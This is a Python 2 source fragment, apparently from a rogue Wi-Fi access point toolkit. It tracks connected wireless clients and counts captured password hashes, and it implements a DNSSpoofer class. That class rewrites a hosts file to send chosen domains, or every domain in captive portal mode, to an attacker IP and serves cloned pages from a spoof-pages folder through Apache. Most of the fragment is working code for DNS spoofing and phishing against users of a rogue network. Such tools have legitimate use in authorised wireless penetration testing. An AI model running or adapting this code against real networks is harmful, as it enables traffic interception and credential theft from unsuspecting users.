            signal = client[8].split(":")[1].strip()
            tx_bitrate = client[10].split(":")[1].strip()
            rx_bitrate = client[11].split(":")[1].strip()
            id = len(temp_clients)

            client = Client(id, client_name, client_mac, client_ip, ssid,
                            inactivity_time, rx_packets, tx_packets,
                            rx_bitrate, tx_bitrate, signal)

            try:
                if client not in self.connected_clients[interface]:
                    connected_client_str = "New connected client on '{ssid}'-> ip: {ip}, mac: {mac} ({vendor})"\
                                           .format(ssid=ssid, ip=client_ip, mac=client_mac, vendor=client.vendor)
                    SessionManager().log_event(
                        SuccessfulEvent(connected_client_str))
                    print "[+]", connected_client_str
            except:
                pass

            temp_clients.append(client)

        self.connected_clients[interface] = temp_clients
        return True

    def _count_hash_captures(self):
        return len(os.listdir("data/hashes/"))
class DNSSpoofer(AirHostPlugin):
    def __init__(self,
                 spoof_ip,
                 hosts_config_path,
                 httpserver=None,
                 spoofpages=[]):
        super(DNSSpoofer, self).__init__()
        self.spoof_ip = spoof_ip
        self.hosts_config_path = hosts_config_path

        self.spoofpages = spoofpages if type(spoofpages) is list else [
            spoofpages
        ]

        self.captive_portal_mode = False
        self.httpserver_running = False

        self.httpserver = httpserver
        self.file_handler = None

    def set_captive_portal_mode(self, captive_portal_mode):
        self.captive_portal_mode = captive_portal_mode

    def set_http_server(self, server):
        self.httpserver = server

    def has_http_server(self):
        return self.httpserver != None

    def add_page_to_spoof(self, page_name):
        for page in os.listdir("data/spoofpages/"):
            if page_name in page:
                self.spoofpages.append(page)
                print "[+] Added {page} to spoof list".format(page=page)
                return

        print "[-] Page '{}' not found in 'data/spoofpages/' folder."

    def _cleanup_misconfigured_pages(self):
        pages = []
        for page in self.spoofpages:
            for spoofpage in os.listdir("data/spoofpages/"):
                if page in spoofpage:
                    pages.append(spoofpage)
        self.spoofpages = pages

    def map_spoofing_pages(self, redirection_ip):
        if self.file_handler:
            self.file_handler.restore_file()

        self.file_handler = FileHandler(self.hosts_config_path)
        self._cleanup_misconfigured_pages()
        conf_string = ""
        if self.captive_portal_mode:
            page = self.spoofpages[0]
            conf_string += "{ip}\t{domain}\t{alias}\n".format(
                ip=redirection_ip,
                domain=page,
                alias="\t".join(self._create_alias_list(page)))
            conf_string += "{ip} *.*.*\n".format(ip=redirection_ip)
            print "[+] Mapped '{domain}' to {ip} as captive portal".format(
                domain=page, ip=redirection_ip)
        else:
            for page in self.spoofpages:
                conf_string += "{ip}\t{domain}\t{alias}\n".format(
                    ip=redirection_ip,
                    domain=page,
                    alias="\t".join(self._create_alias_list(page)))
                print "[+] Mapped '{domain}' to {ip}".format(domain=page,
                                                             ip=redirection_ip)
        self.file_handler.write(conf_string)

    def setup_spoofing_pages(self):
        if not self.has_http_server():
            print "[-] No HTTP Server added to DNSSpoofer, cannot setup spoofing"
            return False

        self._cleanup_misconfigured_pages()
        for page in self.spoofpages:
            self.httpserver.add_site(page)
            self.httpserver.configure_page_in_apache(
                domain_name=page,
                domain_alias=self._create_alias_list(page),
                captive_portal_mode=self.captive_portal_mode)
        return self.httpserver.start_server(True)

    def _create_alias_list(self, domain):
        aliases = []
        splitted_domain = domain.split(".")
        if len(splitted_domain) >= 3:
            for i in range(len(splitted_domain) - 2):
                aliases.append(".".join(splitted_domain[i + 1:]))

        return aliases

    def start_spoofing(self, spoof_ip):
        if not self.has_http_server():
            print "[-] No HTTP Server added to DNSSpoofer, cannot spoof pages"
            return False

        self.httpserver.reset_conf()
        self.map_spoofing_pages(spoof_ip)
        self.setup_spoofing_pages()
        self.httpserver.start_server()

    def stop_spoofing(self):
        if self.has_http_server():
            self.httpserver.reset_conf()
            self.httpserver.start_server(False)

    def start(self):
        self.start_spoofing(self.spoof_ip)

    def restore(self):
        self.stop_spoofing()
        self.file_handler.restore_file()